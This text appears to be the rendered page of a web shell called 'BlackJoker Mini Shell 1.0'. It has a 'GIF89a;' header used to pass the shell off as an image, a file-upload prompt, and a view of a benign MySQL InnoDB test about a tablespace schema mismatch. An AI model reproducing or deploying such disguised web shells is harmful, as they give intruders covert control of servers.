GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/mysql-test/t/
Upload File :
Current File : //usr/share/mysql-test/t/import_schema_mismatch.test

#
#Bug #27542720 SCHEMA MISMATCH - TABLE FLAGS DON'T MATCH,
#	       BUT FLAGS ARE NUMBERS
#


--source include/have_innodb.inc

--let $MYSQLD_DATADIR=`select @@datadir`
--let $DB = `SELECT DATABASE()`
#--replace_result $MYSQL_TMP_DIR MYSQL_TMP_DIR

CREATE TABLE t1 (a INT PRIMARY KEY) ENGINE=InnoDB ROW_FORMAT=COMPACT;
FLUSH TABLES t1 FOR EXPORT;
--copy_file $MYSQLD_DATADIR/$DB/t1.ibd $MYSQL_TMP_DIR/t1.ibd
--copy_file $MYSQLD_DATADIR/$DB/t1.cfg $MYSQL_TMP_DIR/t1.cfg

UNLOCK TABLES;
DROP TABLE t1;
SET GLOBAL innodb_file_format=`Barracuda`;
SET GLOBAL innodb_file_per_table= ON;
CREATE TABLE t1 (a INT PRIMARY KEY) ENGINE=InnoDB ROW_FORMAT=DYNAMIC;
ALTER TABLE t1 DISCARD TABLESPACE;
--move_file $MYSQL_TMP_DIR/t1.ibd $MYSQLD_DATADIR/$DB/t1.ibd
--move_file $MYSQL_TMP_DIR/t1.cfg $MYSQLD_DATADIR/$DB/t1.cfg

--error ER_TABLE_SCHEMA_MISMATCH
ALTER TABLE t1 IMPORT TABLESPACE;
DROP TABLE t1;

SET GLOBAL innodb_file_format=`Antelope`;

--remove_file $MYSQLD_DATADIR/$DB/t1.ibd
--remove_file $MYSQLD_DATADIR/$DB/t1.cfg

./BlackJoker Mini Shell 1.0